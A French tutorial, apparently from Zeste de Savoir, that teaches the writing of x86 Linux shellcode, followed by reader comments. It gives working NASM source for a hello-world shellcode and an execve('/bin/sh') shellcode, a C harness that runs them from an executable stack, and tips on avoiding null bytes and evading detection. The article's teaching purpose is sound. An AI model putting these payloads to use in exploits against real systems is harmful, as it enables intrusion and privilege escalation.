Ecrivez votre premier shellcode en asm x86 !

Une application pratique de la programmation en binaire.

Cet article se veut la suite logique de l’écriture de votre premier programme en langage d’assemblage intel x86 sous Linux. Au travers de ces écrits, nous allons étudier, parmi la multitude de cas pratiques d’utilisation du langage d’assemblage (ou "binaire"), l’écriture de shellcodes.

Il convient de définir ce terme anglais et technique. Nous pouvons voir que le terme shellcode est constitué de deux mots : shell et code. Avis aux amateurs et utilisateurs de systèmes d’exploitation type UNIX : nous parlons bien du même "shell", de l’interface système de votre distribution Linux favorite, de "l’invite de commande". Et puis nous avons le terme code. Ici, il désigne du code machine, du code exécutable.

Mais alors, à quoi correspond exactement le terme "shellcode" ?

Dans le domaine des sciences de l’information et des systèmes, s’il y a bien une ressource qui se veut fiable, c’est bien la célèbre encyclopédie Wikipédia. Citons une partie de sa page sur les shellcodes :

Un shellcode est une chaîne de caractères qui représente un code binaire exécutable. À l’origine destiné à lancer un shell (’/bin/sh’ sous Unix ou command.com sous DOS et Microsoft Windows par exemple), le mot a évolué pour désigner tout code malicieux (et souvent malveillant) qui détourne un programme de son exécution normale. Un shellcode peut être utilisé par un hacker voulant avoir accès à la ligne de commande.

http://fr.wikipedia.org/wiki/Shellcode

En réalité, le terme "malicieux" n’a pas sa place ici et il s’agit d’un abus de langage causé par le faux-ami malicious qui lui veut bien dire malveillant.

Mais, stop ! Un shellcode est un code malveillant ? Je ne mange pas de ce pain-là ! Zeste de Savoir ne devrait recenser aucune ressource utile à la conception de codes malveillants !

Tout comme il est possible de faire des choses désastreuses avec des shellcodes, il est tout autant possible de faire des choses désastreuses avec un langage de programmation. Ce n’est pas l’outil qui est mauvais en soi, mais bien l’utilisation qui en est faite.

Ainsi, bien que la technique d’écriture du shellcode ait été conçue afin d’exploiter le flux d’exécution d’un binaire que nous avons préalablement exploité, il est tout à fait possible de faire un shellcode qui, par exemple, ne se contente que d’afficher un "Hello world" à l’écran. Auquel cas ça n’aurait plus vraiment la définition de shellcode, mais nous garderons ce terme pour des raisons de simplicité.

Ainsi, nous définirons par shellcode une séquence binaire autonome destinée à exécuter du code dans un environnement inconnu. Le binaire qu’un hacker exploite est l’environnement inconnu, destiné à exécuter le shellcode une fois la vulnérabilité effectuée.

Si nous faisons l’analogie avec le monde du vivant, un shellcode est ni plus ni moins qu’un acaryote (une cellule sans noyau) qui a besoin d’une cellule hôte (avec noyau) pour se développer. Je n’ai pas fait le rapprochement avec un virus (qui lui aussi a besoin d’une cellule hôte pour se développer), car un virus se reproduit, se propage. Ce qui n’est pas le cas d’un shellcode. :)

Des exemples valent mieux qu’un long discours. C’est pourquoi nous commencerons en douceur par le traditionnel "Hello world". Et enfin, nous verrons le cas d’un shellcode réaliste qui exécute une invite de commande et est apprécié dans son utilisation concrète..

Exemple 1 : "Hello world!"

Pour ceux qui se souviennent de mon premier article, nous avons écrit un "Hello World" en binaire pour plateforme intel x86. La version qui nous intéresse plus particulièrement est celle avec les appels systèmes.

En effet, un code binaire autonome aura plus de facilité à "appeler le service 4 de l’interruption 0x80" (4 = sys_write, ne l’oubliez pas) qu’à "récupérer l’adresse de printf". Je m’explique.

Dans le format ELF, il existe d’autres sections que la section .text (qui contient par définition notre code exécutable) ou la section .data (qui contient par définition les données statiques de notre programme). L’une d’elles se nomme par définition .plt, pour Procedure Linkage Table. Cette section regroupe l’ensemble des fonctions que nous voulons "importer" de bibliothèques partagées. Par exemple, un programme compilé avec les options par défaut sous gcc et utilisant l’appel printf va stocker dans la section .plt l’adresse de la fonction printf, elle-même véritablement localisée dans la bibliothèque partagée libc.so.6.

Il serait fastidieux (mais pas impossible) de récupérer l’adresse de cette fonction dans notre shellcode. Il faudrait aller chercher des données à certaines adresses, elles-mêmes correspondantes à des adresses mémoires… Cela représente du temps de programmation et du temps de test. C’est beaucoup ! Surtout si nous voulons simplement afficher une phrase a l’écran. C’est pour ça que l’utilisation directe d’un appel système est toute indiquée ! :D

Vous l’aurez compris : la première contrainte d’un shellcode est d’être simple. Ce n’est pas un programme à part entière, simplement une série d’instructions dites "arbitraires" puisqu’elles sont exécutées généralement à l’insu du programme dans lequel elles ont été injectées.

Un shellcode a d’autres contraintes. Si vous vous souvenez de notre exemple avec les appels systèmes, la chaîne de caractères que nous voulions afficher était à une adresse fixe, dans une autre section. Ici, notre shellcode aura pour contrainte d’embarquer notre chaîne et de récupérer son adresse. Sachant qu’un véritable shellcode ne sait pas à quelle adresse il est exécuté. Nous voilà bien embêtés ! :D

Il existe cependant une technique géniale pour aboutir à ce genre de chose : jmp-call-pop. Je l’expliquerai en même temps que je vous fournirai l’exemple ; sachez juste qu’elle permet grossièrement de récupérer l’adresse d’une donnée intéressante.

Une troisième contrainte non universelle cependant : certains shellcodes sont injectés au travers d’une fonction qui, par exemple, manipule un buffer qui ne doit pas contenir d’octets nuls (de "null-bytes", ou les fameux \0 en C).

Et si je devais ajouter une quatrième contrainte : faites en sorte que votre shellcode soit le plus petit possible. Dans la majorité des cas vous l’injecterez dans un buffer potentiellement limité, ou à travers une trame réseau où il faut tabler sur un petit espace mémoire. Parfois ces contraintes sont absentes, mais il reste cependant intéressant de ne pas faire trop gros non plus. ;)

En résumé…

Un shellcode "de base" doit :

  • être simple : ne pas faire des pirouettes inutiles, aller droit au but. Ce n’est pas un programme, mais une série d’instructions arbitraires ;
  • ne pas dépendre de l’environnement courant : il doit embarquer ses propres données et savoir les manipuler ;
  • répondre à certaines contraintes de caractères interdits : on se retrouve parfois dans l’impossibilité d’injecter des null-bytes dans un buffer, par exemple ;
  • être le plus compact possible : il se peut que tout notre shellcode ne soit pas copié en mémoire, et là c’est le drame !

J’attire une dernière fois votre attention sur le deuxième : certains shellcodes peuvent dépendre de l’environnement dans le cadre d’une attaque ciblée sur un binaire particulier, où l’environnement est déjà connu. Sachez avant tout qu’il s’agit d’un cas spécifique où, généralement, les attaquants ont besoin de faire des manipulations spéciales qui n’auraient pas lieu d’être dans d’autres cas (réutiliser des variables, manipuler la disposition de la pile d’exécution, etc.)

Les explications sont passées. On va enfin pouvoir présenter notre premier shellcode qui se contente de faire un Hello World en asm x86 !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 % cat helloworld/helloworld.asm 
bits 32

helloworld_shellcode:
    ; On réinitialise les registres pour éviter les soucis
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; L'appel système sera le numéro 4
    mov al, 4 ; utiliser al revient à ne pas laisser de null-bytes dans le shellcode
    ; Si on avait utilisé eax, qui est un registre 32 bits, alors la valeur 4
    ; aurait été considérée comme une valeur sur 32 bits, à savoir 0x00000004...
    ; Or on ne veut aucun null-byte !

    ; On écrit sur la sortie standard
    mov bl, 1 ; bl et non ebx, pour les mêmes raisons que ci-dessus

    jmp helloworld_string ; ici intervient le jmp-call-pop.
    ; On jump à l'étiquette "helloworld_string" ... (1)

helloworld_shellcode_next:
    ; (2) Au sommet de la pile, on a l'adresse de la chaîne
    ; "Hello World\n". On peut la dépiler et la mettre dans
    ; ecx, qui contient le buffer à afficher !
    pop ecx ; cette instruction n'utilise pas de null-byte non plus ! :)

    ; On met la taille des données à afficher dans dl, soit 13
    mov dl, 13

    ; Nos registres sont initialisés !
    ; On peut appeler l'interruption 0x80
    int 0x80

    ; On va maintenant terminer le programme.
    ; l'appel système sera le numéro 1.
    xor eax, eax ; eax = 0
    inc eax ; incrémente eax, donc eax = 1 

    xor ebx, ebx ; le code de retour sera zéro

    ; On peut appeler une seconde fois l'interruption 0x80
    int 0x80 

helloworld_string:
    ; (1) ... Nous nous retrouvons ici. Nous faisons ensuite
    ; un Call sur l'étiquette "helloworld_string_next". Le
    ; call va empiler l'adresse mémoire qui pointe sur nos données
    ; "Hello World\n", à savoir l'adresse de retour. Et ce même si ce
    ; n'est pas du code exécutable que nous avons ici... (2)
    call helloworld_shellcode_next
    db `Hello world!\n`

Les explications sont données dans les commentaires. Néanmoins pour ceux qui auraient du mal à visualiser la technique du jmp-call-pop, des schémas seront les bienvenus.

Nous sommes à l’instruction :

1
jmp helloworld_string

Et la pile ressemble à…

1
2
3
4
5
+---------------------------------+ <-- esp
|     ... On ne sait pas          |
|     vraiment ce qu'il y a       |
|    en fait, et on s'en fout !   |
+---------------------------------+ <-- ebp

En vérité, on peut le savoir si on débogue notre programme, mais cela ne nous intéresse absolument pas.

En revanche, ce qui nous intéresse, c’est le flux d’exécution après avoir exécuté le jmp sur l’étiquette indiquée. Nous allons en effet exécuter ce code :

1
2
3
helloworld_string:
    call helloworld_shellcode_next
    db `Hello world!\n`

L’instruction call helloworld_shellcode_next va rediriger le flux d’exécution sur l’étiquette indiquée, mais en plus d’un simple jmp, va déposer sur la pile l’adresse de l’instruction suivante.

Ici, nous n’avons pas vraiment d’instruction suivante, puisque nous avons des données. Mais notre shellcode "croit" qu’il s’agit en fait d’instructions à exécuter, puisque nous avons embarqué nos données au sein de notre shellcode. Après l’exécution de ladite instruction, la pile ressemble à ça :

1
2
3
4
5
6
7
8
+---------------------------------+ <-- esp
| Adresse de retour (qui pointe   |
|      sur "Hello World\n")       |
+---------------------------------+ 
|     ... On ne sait pas          |
|     vraiment ce qu'il y a       |
|    en fait, et on s'en fout !   |
+---------------------------------+ <-- ebp

On a réussi à récupérer l’adresse mémoire qui pointe sur notre chaîne, et ce indépendamment du contexte d’exécution. Rappelez-vous, un shellcode ne sait pas à quelle adresse de base il s’exécute. C’est pour ça qu’il doit ruser. Le fait de faire un "call" permet de savoir à quelle adresse nous nous trouvons, puisqu’il suffit de lire l’adresse déposée sur le sommet de la pile d’exécution pour le savoir ! :)

Il ne nous reste plus qu’à récupérer cette fameuse adresse "calculée" à partir de la technique "jmp-call-pop". Ainsi, l’instruction :

1
pop ecx

Va récupérer la donnée au sommet de la pile (à savoir notre adresse mémoire qui pointe sur notre "Hello world") et incrémenter le pointeur esp en conséquence, ainsi, la pile ressemblera à ça au final :

1
2
3
4
5
6
7
8
+---------------------------------+ 
| Adresse de retour (qui pointe   |
|      sur "Hello World\n")       |
+---------------------------------+ <-- esp
|     ... On ne sait pas          |
|     vraiment ce qu'il y a       |
|    en fait, et on s'en fout !   |
+---------------------------------+ <-- ebp

Mais cela n’a plus d’importance pour nous. Ce qui importe, c’est d’initialiser nos registres comme il faut, souvenez-vous ! :)

Passé cette explication, nous allons assembler notre shellcode et le tester :

1
% nasm -f bin helloworld/helloworld.asm -o helloworld/helloworld.bin

On spécifie bien le format bin car nous voulons du binaire pur, et non un ELF.

Si nous affichons le contenu de notre shellcode avec l’outil hexdump, voici ce que nous obtenons :

1
2
3
4
5
 % hexdump -C helloworld/helloworld.bin
00000000  31 c0 31 db 31 c9 31 d2  b0 04 b3 01 eb 0c 59 b2  |1.1.1.1.......Y.|
00000010  0d cd 80 31 c0 40 31 db  cd 80 e8 ef ff ff ff 48  |...1.@1........H|
00000020  65 6c 6c 6f 20 77 6f 72  6c 64 21 0a              |ello world!.|
0000002c

Aucun null-byte ? (00) Alors on est bon ! Il ne manque plus qu’à le tester. Pour cela, nous allons nous servir d’un programme simple, écrit en C, qui va recevoir notre shellcode sur la ligne de commande :

Contenu du fichier testshellcode.c :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv) {
    if(argc < 2) {
        printf("Usage: %s <shellcode>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    printf("Size: %d bytes.\n", strlen(argv[1]));
    void (*shellcode)() = (void((*)())) (argv[1]);

    shellcode();

    return EXIT_SUCCESS;
}

Puisqu’il ne contient pas de null-bytes, il est possible de calculer sa taille avec la fonction standard strlen. Nous le faisons à des fins de statistiques.

Ensuite, nous déclarons un pointeur de fonction qui va pointer sur notre shellcode stocké dans argv[1] et l’exécuter ! :)

Compilez le programme avec l’option -m32 (32 bits oblige) et -z execstack afin que la pile d’exécution puisse contenir des données exécutables. En effet, les arguments de la ligne de commande se situent dans la pile d’exécution, et notre shellcode se situe dans la ligne de commande… En résumé, notre shellcode se situe dans la pile d’exécution, qui est une zone non exécutable de base.

1
 % gcc -o testshellcode testshellcode.c -m32 -z execstack

Et vient ensuite le moment décisif…

1
2
3
 % ./testshellcode `cat helloworld/helloworld.bin`        
Size: 36 bytes.
Hello world!

HOURRA ! :D Notre shellcode fonctionne du feu de dieu !

Et si on attaquait un exemple concret, maintenant ? :pirate:

Exemple 2 : execve(/bin/sh)

Dans ce shellcode, l’objectif sera d’appeler l’appel système sys_execve avec les paramètres suivants : /bin/sh, NULL (pas d’argument nécessaire) et NULL (pas d’environnement nécessaire non plus).

La seule difficulté réside à référencer la fameuse donnée /bin/sh au sein de notre shellcode. Je vous ai évidemment montré la technique jmp-call-pop, mais ça n’est pas la seule qui existe.

En effet, les shellcodes que vous trouverez sur le net auront tendance à déposer sur la pile des octets de sorte que //bin/sh se retrouve sur la pile, suivi d’un null-byte puisque l’appel système sys_execve attend une chaîne à la C comme précisé dans le manuel (man execve) :

1
2
3
4
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

Le shellcode que nous ferons va donc d’abord empiler n/sh puis //bi, de manière à avoir sur la pile :

1
2
//bi
n/sh

Le fait d’empiler les valeurs quatre octets par quatre octets est que nous sommes dans un fonctionnement d’une architecture x86, à savoir 32-bits. La pile est alignée sur quatre octets de fait. Ainsi, le fait d’utiliser les micro-instructions push et pop nous fera manipuler les octets quatre par quatre.

Si nous empilons un, deux ou trois octets dans nos instructions, des zéros de bourrage seront rajoutés ; ce qui aura pour effet d’insérer des null-bytes dans notre shellcode. Chose que nous ne souhaitons pas.

Ainsi, //bin/sh est une chaîne dont la taille (8) est un multiple de 4. On est bon !

Et donc une chaîne de caractère cohérente et contiguë en mémoire. Et puisqu’elle sera au-dessus de la pile, il sera naturellement facile de récupérer son adresse. :)

Il ne faudra pas oublier d’empiler avant cela un null-byte afin que notre chaîne construite soit correctement terminée.

Récupérons le numéro d’appel système de sys_execve :

1
2
 % cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve              11

Il s’agit de l’appel système numéro 11. On construit notre shellcode ? :)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bits 32

shellcode:
    ; On réinitialise les registres
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; Appel système 11
    mov al, 11

    ; ebx doit contenir un pointeur vers //bin/sh
    ; donc on construit la chaîne sur la pile

    push ebx ; ebx = 0, donc on a notre null-byte
    push `n/sh`
    push `//bi`

    ; A ce moment là, esp pointe sur `//bin/sh\0`
    mov ebx, esp ; on met dans ebx l'adresse de notre chaîne.

    ; ecx et edx valent déjà zéro (NULL)
    ; donc nous sommes tranquilles :)

    ; On exécute l'appel système
    int 0x80

    ; Et on quitte proprement
    ; (cf. shellcode Hello World)
    mov al, 1
    xor ebx, ebx
    int 0x80

On assemble notre shellcode et on le teste grâce au programme C fourni lors de l’illustration de l’exemple "Hello world" :

1
2
3
4
5
6
7
8
 % nasm -f bin execve_binsh/execve_binsh.asm -o execve_binsh/execve_binsh.bin
 % ./testshellcode `cat execve_binsh/execve_binsh.bin`
Size: 31 bytes.
$ echo "Coucou, je suis /bin/sh"   
Coucou, je suis /bin/sh 
$ ls
execve_binsh  helloworld  testshellcode  testshellcode.c
$ exit

Enfin ! :ninja: Nous avons créé un shellcode qui a un véritable intérêt. L’article touche désormais à sa fin !

Et pour la suite ?

Nous avons vu le b.a.-ba de l’écriture des shellcodes. Sachez qu’il existe des shellcodes plus robustes, parmi lesquels :

  • les shellcodes à code auto-modifiant : ceux-ci possèdent un "stub", ou un petit morceau de code destiné à déchiffrer le shellcode à la volée pour ensuite l’exécuter. L’intérêt d’avoir un shellcode chiffré est de contourner certains mécanismes de protection (caractères interdits, présence de /bin/sh dans le flux, …) ;
  • les shellcodes alphanumériques : des shellcodes uniquement composés des lettres de l’alphabet et des chiffres de 0 à 9. Cette contrainte fait qu’ils sont plus longs, mais sont plus difficiles à détecter. :)

La route est longue, mais la voie est libre. La conception de shellcodes n’a de limite que votre imagination.


34 commentaires

Je pense par exemple à placer un shellcode via un buffer overflow, puis passer en root.

Aloqsin

Je ne sais pas si ça serait très pertinent, si tu lis la suite d'articles et avec un peu d'entrainement et de recherches (qui abondent sur internet) tu peux y arriver.

Très intéressant les shellcodes !

Merci pour cette suite d'article, mais ça commence à faire beaucoup d'introductions. Pourquoi ne pas en profiter pour entrer un peu plus en profondeur ? Je pense par exemple à placer un shellcode via un buffer overflow, puis passer en root. Montrer les dangers que ça implique et comment s'en immuniser.

Aloqsin

C'est prévu pour la suite. Et une étude approfondie nécessiterait un tutoriel à part entière, ce qui représente bien plus de travail et demande beaucoup de patience en amont (côté rédaction) et en aval (attente du contenu côté audience). Mon choix a été vite fait de ce côté-là.

Le problème avec ce genre d'initiative, il n'y a jamais d'explication de comment s'en protéger (comme ici) que de comment exploiter des fails, alors le prétexte de s'en servir pour s'en protéger hum hum (troll off) :p

shaynox

Toi, t'as pas lu l'article. :)

J'avoue le lire en bias :p

+0 -8

Quel est le rapport avec la "terminologie from Linux" ?

Un shellcode pour Windows, ça existe tout autant. :P

Ge0

Justement, ça serai cool d'avoir un article pour windows ;) quelles sont les différences entre Linux et Windows sur ce sujet? …D'après le peu que j'en sais, il me semble que cela n'a rien à voir car ce n'est même pas le format d'exécutable (ELF sous linux/unix, PE sous windows)

EDIT : Arius, j'aime beaucoup ton smiley :) je retient le site :p

+0 -0

Justement, ça serai cool d'avoir un article pour windows ;)

J'y ai pensé mais j'avais peur que cela n'intéresse que peu de monde, en plus de demander du boulot.

Car il faut aussi expliquer que sous Windows nous n'avons pas d'ELF mais de PE. Cela nécessite donc un travail préliminaire. :D

S'il y a de la demande à ce niveau-là, je pourrais peut-être faire quelque chose.

Excellent article même si pour ma part il reste pas mal de zones d'ombre dû au fait que l'assembleur et moi ça fait 2 donc évidemment pour les shellcodes ça pose quelques petits soucis de compréhension… ^^

Pour la définition d'un shellcode, j'ai toujours compris que le shellcode était en gros le code transmis et directement compris par le processeur et qui lui indique en gros quels appels systèmes il doit exécuter (car il ne connait au final que ça). D'ailleurs je me suis toujours demandé s'il était possible d'écrire le code en C, de le compiler et d'en récupérer le code compilé (après j'imagine que le C implémente tout un tas de choses qui risquent de faire en sorte que le shellcode sera plus conséquent et pas forcément adapté à des injections dans des buffers de quelques dizaines d'octets)

Sinon pour la partie Windows, franchement pourquoi pas ! Je trouve qu'il y a beaucoup d'explications à ce niveau là pour les systèmes Unix mais au final beaucoup moins pour la partie Windows que ça soit au niveau de l'exploitation ou de l'écriture de shellcode (pour un débutant j'entends) et perso je suis assez curieux de voir une petite exploitation et/ou écriture de shellcode et surtout de pouvoir voir la "différence" entre les 2 systèmes.

D'ailleurs je me suis toujours demandé s'il était possible d'écrire le code en C, de le compiler et d'en récupérer le code compilé.

Oui c'est possible. Il faudrait cependant faire beaucoup d'ajustements, par exemple s'assurer que les appels aux fonctions dans la libc soient correctement gérés, etc.

Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte